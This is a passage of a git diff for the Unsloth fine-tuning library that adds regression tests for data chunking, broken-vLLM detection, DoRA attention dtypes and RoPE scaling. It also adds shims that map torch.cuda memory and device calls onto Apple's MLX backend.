+    kit = SyntheticDataKit.__new__(SyntheticDataKit)
+    kit.tokenizer = _MockTokenizer()  # max_seq_length intentionally unset
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write("word " * 50)
+        path = f.name
+    try:
+        try:
+            kit.chunk_data(filename = path)
+            raise AssertionError("expected RuntimeError when max_seq_length is unset")
+        except RuntimeError as e:
+            msg = str(e)
+            assert (
+                "SyntheticDataKit.from_pretrained" in msg
+            ), f"error must name SyntheticDataKit.from_pretrained, got: {msg}"
+            assert (
+                "SynthetidDataKit" not in msg
+            ), f"error must not misspell the class name, got: {msg}"
+    finally:
+        os.unlink(path)
+
+
+if __name__ == "__main__":
+    test_chunk_data_keeps_single_chunk_document()
+    test_chunk_data_still_splits_long_document()
+    test_chunk_data_empty_document_yields_no_chunks()
+    test_chunk_data_short_document_is_not_split_into_fragments()
+    test_chunk_data_rejects_overlap_not_smaller_than_chunk()
+    test_chunk_data_uninitialized_error_names_real_class()
+    print("OK")
diff --git a/tests/test_vllm_broken_detection.py b/tests/test_vllm_broken_detection.py
new file mode 100644
index 0000000000..ee89ddbedf
--- /dev/null
+++ b/tests/test_vllm_broken_detection.py
@@ -0,0 +1,166 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Regression test for #6590: modern vLLM lazy-loads its compiled extensions, so
+a bare ``import vllm`` succeeds even when ``vllm._C`` (or a sibling) is ABI-broken
+and ``disable_broken_vllm`` missed it. GPU-free, via a synthetic vLLM."""
+
+from __future__ import annotations
+
+import contextlib
+import importlib.abc
+import importlib.machinery
+import importlib.util
+import sys
+import types
+
+import pytest
+
+
+_LIBCUDART_ERROR = "libcudart.so.13: cannot open shared object file: No such file or directory"
+
+
+class _ExtensionLoader(importlib.abc.Loader):
+    """A compiled extension that loads cleanly or fails on dlopen."""
+
+    def __init__(self, broken, error):
+        self.broken = broken
+        self.error = error
+
+    def create_module(self, spec):
+        return None
+
+    def exec_module(self, module):
+        if self.broken:
+            raise ImportError(self.error)
+
+
+class _FakeVllmFinder(importlib.abc.MetaPathFinder):
+    """Lazy vLLM: ``import vllm`` succeeds; each ``vllm._*`` ext is healthy,
+    ABI-broken, or absent, as real vLLM only loads ``_C`` & friends on use."""
+
+    def __init__(self, present, broken, error):
+        self.present = present
+        self.broken = broken
+        self.error = error
+
+    def find_spec(
+        self,
+        fullname,
+        path = None,
+        target = None,
+    ):
+        if fullname in self.present:
+            return importlib.machinery.ModuleSpec(
+                name = fullname,
+                loader = _ExtensionLoader(broken = fullname in self.broken, error = self.error),
+                is_package = False,
+            )
+        return None  # absent -> ModuleNotFoundError, which the guard ignores
+
+
+@contextlib.contextmanager
+def _fake_vllm(
+    present,
+    broken,
+    error = _LIBCUDART_ERROR,
+):
+    """Install a synthetic lazy vLLM, restoring VLLM_BROKEN, find_spec,
+    meta_path, and the vllm* sys.modules entries on exit."""
+    from unsloth import import_fixes
+
+    submodules = import_fixes._VLLM_COMPILED_EXTENSIONS
+    saved_meta_path = list(sys.meta_path)
+    saved_find_spec = importlib.util.find_spec
+    saved_broken = import_fixes.VLLM_BROKEN
+    saved_modules = {n: sys.modules.get(n) for n in ("vllm", *submodules)}
+    try:
+        import_fixes.VLLM_BROKEN = False
+        fake_vllm = types.ModuleType("vllm")
+        fake_vllm.__path__ = []
+        fake_vllm.__spec__ = importlib.machinery.ModuleSpec("vllm", loader = None, is_package = True)
+        sys.modules["vllm"] = fake_vllm
+        for name in submodules:
+            sys.modules.pop(name, None)
+        sys.meta_path.insert(0, _FakeVllmFinder(present, broken, error))
+        yield import_fixes
+    finally:
+        import_fixes.VLLM_BROKEN = saved_broken
+        sys.meta_path[:] = saved_meta_path
+        importlib.util.find_spec = saved_find_spec
+        for name, module in saved_modules.items():
+            if module is None:
+                sys.modules.pop(name, None)
+            else:
+                sys.modules[name] = module
+
+
+@pytest.mark.parametrize(
+    "broken_ext",
+    ["vllm._C", "vllm._C_stable_libtorch"],
+    ids = ["core_C", "sibling_C_stable_libtorch"],
+)
+def test_disable_broken_vllm_detects_lazy_loaded_broken_extension(broken_ext):
+    # A CUDA-major mismatch breaks every ext; whichever one loads first must trip detection.
+    present = {"vllm._C", "vllm._C_stable_libtorch"}
+    with _fake_vllm(present = present, broken = {broken_ext}) as import_fixes:
+        detected = import_fixes.disable_broken_vllm()
+
+        assert detected is True, (
+            f"disable_broken_vllm missed an ABI-broken {broken_ext} behind a "
+            "lazily-importable vllm package — issue #6590 would resurface."
+        )
+        assert import_fixes.VLLM_BROKEN is True
+        # Once disabled, vLLM must look absent so callers fall back cleanly.
+        assert importlib.util.find_spec("vllm") is None
+
+
+@pytest.mark.parametrize(
+    "error",
+    [
+        "libnccl.so.2: cannot open shared object file: No such file or directory",
+        "libcuda.so.1: cannot open shared object file: No such file or directory",
+    ],
+    ids = ["libnccl", "libcuda"],
+)
+def test_disable_broken_vllm_detects_non_cudart_so_failure(error):
+    # A CUDA mismatch can surface through a non-libcudart .so (libnccl, libcuda),
+    # which the old libcudart/libcublas/libnvrtc allow-list let slip through.
+    with _fake_vllm(present = {"vllm._C"}, broken = {"vllm._C"}, error = error) as import_fixes:
+        detected = import_fixes.disable_broken_vllm()
+
+        assert detected is True, (
+            f"disable_broken_vllm missed a present-but-broken vllm._C raising "
+            f"{error!r} — vLLM would be left enabled and crash later."
+        )
+        assert import_fixes.VLLM_BROKEN is True
+
+
+@pytest.mark.parametrize(
+    "present",
+    [{"vllm._C"}, {"vllm._C", "vllm._C_stable_libtorch", "vllm._moe_C"}],
+    ids = ["core_only", "all_present"],
+)
+def test_disable_broken_vllm_keeps_healthy_vllm_enabled(present):
+    # Healthy install: an absent sibling (ModuleNotFoundError) or an extra present
+    # ext that loads cleanly must NOT be mistaken for an ABI break.
+    with _fake_vllm(present = present, broken = set()) as import_fixes:
+        detected = import_fixes.disable_broken_vllm()
+
+        assert detected is False
+        assert import_fixes.VLLM_BROKEN is False
+        assert importlib.util.find_spec("vllm") is not None
+
+
+if __name__ == "__main__":
+    raise SystemExit(pytest.main([__file__, "-v"]))
diff --git a/tests/utils/test_attention_dispatch_dora_dtype.py b/tests/utils/test_attention_dispatch_dora_dtype.py
new file mode 100644
index 0000000000..a6586dea8d
--- /dev/null
+++ b/tests/utils/test_attention_dispatch_dora_dtype.py
@@ -0,0 +1,73 @@
+"""Regression test for unslothai/unsloth#1013: run_attention must downcast DoRA's
+fp32 q/k/v for FlashAttention while leaving already-16bit tensors untouched."""
+
+import torch
+import unsloth  # noqa: F401
+
+from unsloth.utils import attention_dispatch as ad
+
+
+def _run(monkeypatch, qkv_dtype, backend):
+    captured = {}
+
+    def _check(Q):
+        captured["dtype"] = Q.dtype
+        # Mirror the real kernel constraint so an unfixed dispatch fails loudly.
+        if Q.dtype not in (torch.float16, torch.bfloat16):
+            raise RuntimeError("FlashAttention only support fp16 and bf16 data type")
+
+    def fake_flash_dense(Q, K, V, **kwargs):
+        _check(Q)
+        return torch.zeros_like(Q)
+
+    def fake_flash_varlen(Q, K, V, *args, **kwargs):
+        _check(Q)
+        return torch.zeros_like(Q)
+
+    monkeypatch.setattr(ad, "flash_attn_func", fake_flash_dense, raising = False)
+    monkeypatch.setattr(ad, "flash_attn_varlen_func", fake_flash_varlen, raising = False)
+
+    bsz, n_heads, q_len, head_dim = 1, 2, 4, 8
+    Q = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    K = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    V = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+
+    seq_info = None
+    if backend == ad.FLASH_VARLEN:
+        cu = torch.tensor([0, q_len], dtype = torch.int32)
+        seq_info = (None, cu, q_len)
+
+    config = ad.AttentionConfig(
+        backend = backend,
+        n_kv_heads = n_heads,
+        n_groups = 1,
+        flash_dense_kwargs = {"causal": True},
+        flash_varlen_kwargs = {"dropout_p": 0.0, "causal": True},
+    )
+    context = ad.AttentionContext(
+        bsz = bsz,
+        q_len = q_len,
+        kv_seq_len = q_len,
+        n_heads = n_heads,
+        head_dim = head_dim,
+        requires_grad = False,
+        seq_info = seq_info,
+        attention_mask = None,
+        causal_mask = None,
+    )
+    ad.run_attention(config = config, context = context, Q = Q, K = K, V = V)
+    return captured["dtype"]
+
+
+def test_dense_flash_downcasts_fp32_qkv(monkeypatch):
+    # fp32 DoRA output must be downcast to a flash-compatible dtype.
+    assert _run(monkeypatch, torch.float32, ad.FLASH_DENSE) in (torch.bfloat16, torch.float16)
+
+
+def test_varlen_flash_downcasts_fp32_qkv(monkeypatch):
+    assert _run(monkeypatch, torch.float32, ad.FLASH_VARLEN) in (torch.bfloat16, torch.float16)
+
+
+def test_bf16_qkv_left_untouched(monkeypatch):
+    # Standard LoRA path (already bf16) must not be altered.
+    assert _run(monkeypatch, torch.bfloat16, ad.FLASH_DENSE) == torch.bfloat16
diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index b976654f87..7a738e236c 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -31,6 +31,7 @@ requires_cuda = pytest.mark.skipif(
 
 REPO_ROOT = Path(__file__).resolve().parents[2]
 LLAMA_PY = REPO_ROOT / "unsloth" / "models" / "llama.py"
+LOADER_PY = REPO_ROOT / "unsloth" / "models" / "loader.py"
 
 CLASS_NAME = "LlamaRotaryEmbedding"
 
@@ -78,42 +79,88 @@ def _config_branch(init_fn):
     return None
 
 
+def _iter_names_and_calls(node):
+    """(attribute/string names, bare-name calls, method-call attrs) under node."""
+    names, calls, call_attrs = set(), set(), set()
+    for sub in ast.walk(node):
+        if isinstance(sub, ast.Attribute):
+            names.add(sub.attr)
+        elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
+            names.add(sub.value)
+        elif isinstance(sub, ast.Call):
+            if isinstance(sub.func, ast.Name):
+                calls.add(sub.func.id)
+            elif isinstance(sub.func, ast.Attribute):
+                call_attrs.add(sub.func.attr)
+    return names, calls, call_attrs
+
+
+def _find_method(source_path, class_name, method_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.ClassDef) and node.name == class_name:
+            for sub in node.body:
+                if isinstance(sub, ast.FunctionDef) and sub.name == method_name:
+                    return sub
+    return None
+
+
+def _find_function(source_path, function_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.FunctionDef) and node.name == function_name:
+            return node
+    return None
+
+
 def test_config_path_inspects_rope_scaling():
     init_fn = _load_class_init()
-    branch = _config_branch(init_fn)
-    assert branch is not None, (
-        f"{CLASS_NAME}.__init__ no longer has an `if config is not None:` "
-        "branch; the config constructor path must read config.rope_scaling so "
-        "scaled models (llama3/linear/longrope) are not silently unscaled "
-        "(issue #2405)"
-    )
+    # inv_freq is derived through the shared _unsloth_recompute_inv_freq helper
+    # (or still inlined in the config branch on older layouts); whichever scope
+    # holds the scaling must read config.rope_scaling and call
+    # _compute_config_rope_inv_freq, else scaled models run unscaled (#2405).
+    _, _, init_call_attrs = _iter_names_and_calls(init_fn)
+    scope = _find_method(LLAMA_PY, CLASS_NAME, "_unsloth_recompute_inv_freq")
+    if scope is not None:
+        assert "_unsloth_recompute_inv_freq" in init_call_attrs, (
+            f"{CLASS_NAME}.__init__ no longer derives inv_freq via "
+            "_unsloth_recompute_inv_freq; keep the constructor wired to the "
+            "shared scaling helper or scaled configs silently lose RoPE scaling "
+            "(issue #2405)."
+        )
+    else:
+        scope = _config_branch(init_fn)
+        assert scope is not None, (
+            f"{CLASS_NAME}.__init__ has neither a _unsloth_recompute_inv_freq "
+            "helper nor an `if config is not None:` branch; the config path must "
+            "apply llama3/linear/longrope scaling (issue #2405)."
+        )
 
-    names = set()
-    for stmt in branch.body:
-        for sub in ast.walk(stmt):
-            if isinstance(sub, ast.Attribute):
-                names.add(sub.attr)
-            elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
-                names.add(sub.value)
+    names, called, _ = _iter_names_and_calls(scope)
     assert "rope_scaling" in names, (
-        f"{CLASS_NAME}.__init__ config path does not reference `rope_scaling`. "
-        "When a rotary class is built straight from a config (the path modern "
-        "transformers takes, since rotary moved to LlamaModel), the llama3 / "
-        "linear / longrope scaling must still be applied; otherwise long inputs "
-        "produce repeated-pattern gibberish (issue #2405)."
+        f"{CLASS_NAME} inv_freq computation does not reference `rope_scaling`; "
+        "scaled models (llama3/linear/longrope) would run unscaled and produce "
+        "repeated-pattern gibberish past the original context (issue #2405)."
+    )
+    assert "_compute_config_rope_inv_freq" in called, (
+        f"{CLASS_NAME} inv_freq computation no longer calls "
+        "_compute_config_rope_inv_freq; keep it wired or scaled configs silently "
+        "lose RoPE scaling again (issue #2405)."
     )
 
-    called = {
-        sub.func.id
-        for stmt in branch.body
-        for sub in ast.walk(stmt)
-        if isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)
-    }
-    assert "_compute_config_rope_inv_freq" in called, (
-        f"{CLASS_NAME}.__init__ config path no longer calls "
-        "_compute_config_rope_inv_freq; the CPU behavioral tests below cover "
-        "that helper directly, so the constructor must stay wired to it or "
-        "scaled configs silently lose RoPE scaling again (issue #2405)."
+
+def test_v5_repair_reuses_recompute():
+    # transformers v5 blanks non-persistent buffers on load, so
+    # loader._fix_rope_inv_freq rebuilds inv_freq; it must reuse the scaled
+    # recompute, since an unscaled rebuild re-drops llama3 scaling (#2405).
+    fix_fn = _find_function(LOADER_PY, "_fix_rope_inv_freq")
+    assert fix_fn is not None, (
+        "loader._fix_rope_inv_freq not found; if it was renamed, update this "
+        "guard so the v5 rope repair keeps applying config scaling (issue #2405)."
+    )
+    _, _, call_attrs = _iter_names_and_calls(fix_fn)
+    assert "_unsloth_recompute_inv_freq" in call_attrs, (
+        "loader._fix_rope_inv_freq no longer rebuilds inv_freq via "
+        "_unsloth_recompute_inv_freq; transformers v5 blanks the buffer on load "
+        "and an unscaled rebuild re-drops llama3 scaling (issue #2405)."
     )
 
 
@@ -189,6 +236,84 @@ def test_default_rope_type_matches_vanilla_inv_freq():
     )
 
 
+def test_recompute_helper_scales_on_cpu():
+    # Exercise the exact method loader._fix_rope_inv_freq calls, without CUDA.
+    from unsloth.models.llama import LlamaRotaryEmbedding, _get_rope_theta
+
+    def recompute(config):
+        rot = object.__new__(LlamaRotaryEmbedding)
+        rot.attention_scaling = 1.0
+        rot.base = _get_rope_theta(config, 10000.0)
+        rot.dim = config.head_dim
+        rot._unsloth_rope_config = config
+        return rot._unsloth_recompute_inv_freq().float().cpu()
+
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    assert torch.allclose(
+        recompute(config), _reference_inv_freq(config, "llama3"), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq dropped llama3 scaling (issue #2405)."
+    assert torch.allclose(
+        recompute(_make_config(None)), _vanilla_inv_freq(), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq must return vanilla inv_freq when unscaled."
+
+
+def test_extended_rotary_reads_config_factor():
+    # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8
+    # (Llama-3.2 uses 32); otherwise the subclass path re-drops scaling (#2405).
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        }
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"LlamaExtendedRotaryEmbedding ignored config factor 32 (ratio {ratio}); the "
+        "low-frequency band must be divided by the config factor (issue #2405)."
+    )
+
+
+def test_extended_rotary_reads_rope_parameters_v5():
+    # transformers v5 stores scaling under rope_parameters (rope_scaling is a
+    # back-compat shim that may be removed); the factor must still be read.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import LlamaExtendedRotaryEmbedding
+
+    rot = object.__new__(LlamaExtendedRotaryEmbedding)
+    rot.base = ROPE_THETA
+    rot.dim = HEAD_DIM
+    rot._unsloth_rope_config = SimpleNamespace(
+        rope_scaling = None,
+        rope_parameters = {
+            "rope_type": "llama3",
+            "factor": 32.0,
+            "low_freq_factor": 1.0,
+            "high_freq_factor": 4.0,
+            "original_max_position_embeddings": 8192,
+        },
+    )
+    vanilla = _vanilla_inv_freq()
+    scaled = rot._apply_inv_freq_scaling(vanilla).reshape(-1)
+    ratio = float(vanilla[-1]) / float(scaled[-1])
+    assert abs(ratio - 32.0) < 1e-3, (
+        f"Extended rotary ignored rope_parameters factor 32 (ratio {ratio}); v5 "
+        "keeps the factor under rope_parameters, not rope_scaling."
+    )
+
+
 def _cos_at_position(rot, position):
     """cos row at one position, built like _set_cos_sin_cache but CPU-only."""
     inv_freq = rot.inv_freq.float().cpu()
@@ -256,6 +381,87 @@ def test_extended_cache_keeps_scaling_after_growth():
     )
 
 
+def _blank_nonpersistent_buffers(module):
+    """Mimic transformers v5 meta-load: overwrite non-persistent buffers with garbage."""
+    for name, buf in list(module.named_buffers()):
+        leaf = module
+        *parents, attr = name.split(".")
+        for part in parents:
+            leaf = getattr(leaf, part)
+        if attr in getattr(leaf, "_non_persistent_buffers_set", set()):
+            setattr(leaf, attr, torch.rand_like(buf))
+
+
+def _build_llama3_rotary():
+    from unsloth.models import llama as llama_mod
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    return llama_mod.LlamaRotaryEmbedding(config = config), config
+
+
+def _build_longrope_rotary():
+    from types import SimpleNamespace
+
+    from unsloth.models import llama as llama_mod
+
+    short_factor, long_factor = [1.05] * 48, [1.3] * 48
+    rot = llama_mod.LongRopeRotaryEmbedding(
+        dim = 96,
+        max_position_embeddings = 131072,
+        original_max_position_embeddings = 4096,
+        base = ROPE_THETA,
+        short_factor = short_factor,
+        long_factor = long_factor,
+    )
+    config = SimpleNamespace(
+        rope_scaling = {
+            "rope_type": "longrope",
+            "short_factor": short_factor,
+            "long_factor": long_factor,
+            "original_max_position_embeddings": 4096,
+        }
+    )
+    return rot, config
+
+
+@requires_cuda
+@pytest.mark.parametrize(
+    "build", [_build_llama3_rotary, _build_longrope_rotary], ids = ["llama3", "longrope"]
+)
+def test_v5_blank_repair_roundtrip(build):
+    # Build scaled -> blank non-persistent buffers (what transformers v5 does on
+    # load) -> run the repair -> every buffer must return to its scaled value.
+    # Family-agnostic: encodes no scaling math, so it guards any rotary that
+    # keeps scaling in a buffer (issue #2405 / PR #6907).
+    from unsloth.models import loader
+
+    # The repair only runs on transformers v5 (it is what blanks the buffers);
+    # on v4 _fix_rope_inv_freq is a no-op, so the round-trip cannot restore.
+    if not loader._NEEDS_ROPE_FIX:
+        pytest.skip("transformers < 5 does not blank rope buffers; repair is a no-op")
+
+    rot, config = build()
+    snapshot = {name: buf.detach().clone() for name, buf in rot.named_buffers()}
+    assert snapshot, "rotary registers no buffers; nothing to guard"
+
+    _blank_nonpersistent_buffers(rot)
+    assert any(
+        not torch.equal(rot.get_buffer(name), snapshot[name]) for name in snapshot
+    ), "blanking changed no buffer; the round-trip would be vacuous"
+
+    wrapper = torch.nn.Module()
+    wrapper.add_module("rotary_emb", rot)
+    wrapper.config = config
+    loader._fix_rope_inv_freq(wrapper)
+
+    for name in snapshot:
+        assert torch.allclose(
+            rot.get_buffer(name).cpu(), snapshot[name].cpu(), rtol = 1e-4, atol = 1e-6
+        ), (
+            f"{name} was not restored to its scaled value by loader._fix_rope_inv_freq "
+            "after the transformers v5 buffer blank (issue #2405 / PR #6907)."
+        )
+
+
 def test_object_style_rope_scaling_does_not_crash():
     # Object-style rope_scaling must be normalized, not .get()'d directly.
     from dataclasses import dataclass
diff --git a/unsloth/__init__.py b/unsloth/__init__.py
index 8202195ca8..04cc600725 100644
--- a/unsloth/__init__.py
+++ b/unsloth/__init__.py
@@ -33,6 +33,27 @@ if platform.system() == "Windows":
             pass
 
 
+class _UnslothDeviceStats:
+    """Portable device metadata used by backend memory-reporting helpers."""
+
+    def __init__(
+        self,
+        name,
+        total_memory = 0,
+    ):
+        """Store a display name and total memory in bytes."""
+        self.name = name
+        self.total_memory = int(total_memory or 0)
+        self.major = 0
+        self.minor = 0
+        self.multi_processor_count = 0
+
+
+def _bytes_to_gb(value):
+    """Convert byte counts to GiB rounded"""
+    return round(float(value or 0) / 1024 / 1024 / 1024, 3)
+
+
 def _is_mlx_available():
     # Transitional import barrier: keep non-Apple-Silicon imports from touching
     # unsloth_zoo until unsloth_zoo.mlx is import-safe on GPU hosts. Then this
@@ -66,7 +87,12 @@ if _IS_MLX:
     # mlx.trainer / mlx.loader submodules. Surface a friendly install hint
     # instead of a raw ImportError on the submodule path.
     try:
-        from unsloth_zoo.mlx.trainer import MLXTrainer, MLXTrainingConfig
+        from unsloth_zoo.mlx.trainer import (
+            MLXTrainer,
+            MLXTrainingConfig,
+            _is_vlm_model,
+            _normalize_mlx_optimizer_name,
+        )
         from unsloth_zoo.mlx.loader import FastMLXModel
     except ImportError as _e:
         raise ImportError(
@@ -75,6 +101,53 @@ if _IS_MLX:
             "`pip install -U unsloth-zoo` or rerun install.sh."
         ) from _e
 
+    import dataclasses as _dataclasses
+    import importlib.machinery as _machinery
+    import sys as _sys
+    import types as _types
+    import warnings as _warnings
+
+    __version__ = unsloth_zoo.__version__
+    DEVICE_TYPE = "mlx"
+
+    def _is_mlx_cuda_device_target(device):
+        """Return True when a torch .to/.cuda target asks for CUDA on MLX."""
+        if device is None:
+            return False
+        return str(device).lower().startswith("cuda")
+
+    def _patch_mlx_batch_encoding_to_cuda():
+        """Treat tokenizer_output.to("cuda") as a no-op on the MLX backend."""
+        try:
+            from transformers.tokenization_utils_base import BatchEncoding
+        except Exception:
+            return
+
+        original_to = getattr(BatchEncoding, "to", None)
+        if original_to is None or getattr(original_to, "_unsloth_mlx_cuda_noop", False):
+            return
+
+        def batch_encoding_to(
+            self,
+            device = None,
+            *args,
+            **kwargs,
+        ):
+            target = kwargs.get("device", device)
+            if _is_mlx_cuda_device_target(target):
+                return self
+            # device given by keyword: don't also pass the positional None, or the
+            # original raises "multiple values for 'device'" (e.g. .to(device="cpu")).
+            if "device" in kwargs:
+                return original_to(self, *args, **kwargs)
+            return original_to(self, device, *args, **kwargs)
+
+        batch_encoding_to._unsloth_mlx_cuda_noop = True
+        batch_encoding_to._unsloth_original_to = original_to
+        BatchEncoding.to = batch_encoding_to
+
+    _patch_mlx_batch_encoding_to_cuda()
+
     # Load raw_text helpers without executing dataprep/__init__.py, which
     # imports synthetic.py -> torch and would defeat the torch-free MLX path.
     from pathlib import Path as _Path
@@ -89,9 +162,6 @@ if _IS_MLX:
     TextPreprocessor = _raw_text.TextPreprocessor
     del _raw_text, _raw_text_spec, _raw_text_path, _Path
 
-    __version__ = unsloth_zoo.__version__
-    DEVICE_TYPE = "mlx"
-
     class FastLanguageModel:
         @staticmethod
         def from_pretrained(*args, **kwargs):
@@ -141,14 +211,1202 @@ if _IS_MLX:
 
     is_bf16_supported = is_bfloat16_supported
 
+    def get_gpu_memory_stats():
+        """Return MLX device stats, peak memory, and total memory in GiB."""
+        import mlx.core as mx
+
+        info = mx.device_info()
+        total = info.get("memory_size") or info.get("max_recommended_working_set_size") or 0
+        get_peak_memory = getattr(mx, "get_peak_memory", None)
+        if get_peak_memory is None and hasattr(mx, "metal"):
+            get_peak_memory = getattr(mx.metal, "get_peak_memory", None)
+        peak = get_peak_memory() if callable(get_peak_memory) else 0
+        stats = _UnslothDeviceStats(info.get("device_name", "Apple GPU"), total)
+        max_memory = _bytes_to_gb(total) or 1.0
+        return stats, _bytes_to_gb(peak), max_memory
+
+    def clear_gpu_memory():
+        """Clear MLX's cached GPU memory for compatibility cleanup helpers."""
+        import mlx.core as mx
+
+        clear_cache = getattr(mx, "clear_cache", None)
+        if clear_cache is None and hasattr(mx, "metal"):
+            clear_cache = getattr(mx.metal, "clear_cache", None)
+        if callable(clear_cache):
+            clear_cache()
+
+    def _patch_mlx_torch_cuda_compat_api():
+        """Expose CUDA-shaped torch helpers for compatibility callers on MLX."""
+        try:
+            import torch
+        except Exception:
+            return
+
+        cuda = getattr(torch, "cuda", None)
+        if cuda is not None and not getattr(cuda, "_unsloth_mlx_cuda_compat_api", False):
+
+            def get_device_properties(device = None):
+                """Return MLX device stats through torch.cuda's compatibility API."""
+                return get_gpu_memory_stats()[0]
+
+            def get_device_name(device = None):
+                """Return the MLX device name through torch.cuda's compatibility API."""
+                return get_device_properties(device).name
+
+            def max_memory_reserved(device = None):
+                """Return MLX peak memory in bytes for torch.cuda compatibility API."""
+                return int(get_gpu_memory_stats()[1] * 1024 * 1024 * 1024)
+
+            def empty_cache():
+                """Clear MLX cache through torch.cuda.empty_cache()."""
+                clear_gpu_memory()
+
+            def _mlx_active_memory_bytes():
+                """Current active MLX memory in bytes (not the peak high-water mark)."""
+                import mlx.core as mx
+
+                get_active = getattr(mx, "get_active_memory", None)
+                if get_active is None and hasattr(mx, "metal"):
+                    get_active = getattr(mx.metal, "get_active_memory", None)
+                return int(get_active()) if callable(get_active) else 0
+
+            def memory_current(device = None):
+                """Return CURRENT MLX memory in bytes. torch.cuda.memory_reserved /
+                memory_allocated report live usage, not the peak (that is max_*)."""
+                return _mlx_active_memory_bytes()
+
+            def mem_get_info(device = None):
+                """Return (free, total) bytes for torch.cuda compatibility API.
+                Free uses CURRENT active memory, not the peak high-water mark, so
+                a capacity check stays accurate after a transient spike."""
+                total = int(get_gpu_memory_stats()[2] * 1024 * 1024 * 1024)
+                return (max(total - _mlx_active_memory_bytes(), 0), total)
+
+            def reset_peak_memory_stats(device = None):
+                """Reset MLX's peak-memory counter so a later max_memory_reserved /
+                max_memory_allocated scopes to the run, not earlier model-load peaks."""
+                import mlx.core as mx
+
+                reset = getattr(mx, "reset_peak_memory", None)
+                if reset is None and hasattr(mx, "metal"):
+                    reset = getattr(mx.metal, "reset_peak_memory", None)
+                if callable(reset):
+                    reset()
+
+            def synchronize(device = None):
+                """Wait for queued MLX work when torch.cuda.synchronize() is called."""
+                import mlx.core as mx
+
+                sync = getattr(mx, "synchronize", None)
+                if callable(sync):
+                    sync()
+
+            cuda.get_device_properties = get_device_properties
+            cuda.get_device_name = get_device_name
+            cuda.max_memory_reserved = max_memory_reserved
+            cuda.max_memory_allocated = max_memory_reserved
+            cuda.memory_reserved = memory_current
+            cuda.memory_allocated = memory_current
+            cuda.empty_cache = empty_cache
+            cuda.mem_get_info = mem_get_info
+            cuda.reset_peak_memory_stats = reset_peak_memory_stats
+            cuda.synchronize = synchronize
+            cuda.current_device = lambda: 0
+            cuda.device_count = lambda: 1
+            cuda.set_device = lambda device = None: None
+            cuda.get_device_capability = lambda device = None: (0, 0)
+            cuda.is_bf16_supported = lambda *args, **kwargs: is_bfloat16_supported()
+            cuda._unsloth_mlx_cuda_compat_api = True
+
+        tensor_to = getattr(torch.Tensor, "to", None)
+        if tensor_to is not None and not getattr(tensor_to, "_unsloth_mlx_cuda_noop", False):
+
+            def _coerce_mlx_dtype_to_torch(value):
+                """Map MLX dtype objects to their torch dtype equivalents."""
+                try:
+                    import mlx.core as mx
+                except Exception:
+                    return value
+                dtype_map = {
+                    mx.bool_: torch.bool,
+                    mx.int8: torch.int8,
+                    mx.int16: torch.int16,
+                    mx.int32: torch.int32,
+                    mx.int64: torch.int64,
+                    mx.uint8: torch.uint8,
+                    mx.float16: torch.float16,
+                    mx.float32: torch.float32,
+                    mx.bfloat16: torch.bfloat16,
+                }
+                mapped = dtype_map.get(value, None)
+                if mapped is not None:
+                    return mapped
+                dtype_name = str(value).rsplit(".", 1)[-1]
+                name_map = {
+                    "bool_": torch.bool,
+                    "int8": torch.int8,
+                    "int16": torch.int16,
+                    "int32": torch.int32,
+                    "int64": torch.int64,
+                    "uint8": torch.uint8,
+                    "float16": torch.float16,
+                    "float32": torch.float32,
+                    "bfloat16": torch.bfloat16,
+                }
+                return name_map.get(dtype_name, value)
+
+            def mlx_tensor_to(self, *args, **kwargs):
+                """Ignore CUDA device targets while preserving dtype conversions."""
+                args = list(args)
+                kwargs = dict(kwargs)
+                removed_cuda_device = False
+                if args and _is_mlx_cuda_device_target(args[0]):
+                    args.pop(0)
+                    removed_cuda_device = True
+                if _is_mlx_cuda_device_target(kwargs.get("device", None)):
+                    kwargs.pop("device", None)
+                    removed_cuda_device = True
+                if removed_cuda_device and not args:
+                    cuda_only_kwargs = ("non_blocking", "copy", "memory_format")
+                    if all(key in cuda_only_kwargs for key in kwargs):
+                        return self
+                if removed_cuda_device and not args and not kwargs:
+                    return self
+                if args:
+                    args[0] = _coerce_mlx_dtype_to_torch(args[0])
+                if "dtype" in kwargs:
+                    kwargs["dtype"] = _coerce_mlx_dtype_to_torch(kwargs["dtype"])
+                return tensor_to(self, *args, **kwargs)
+
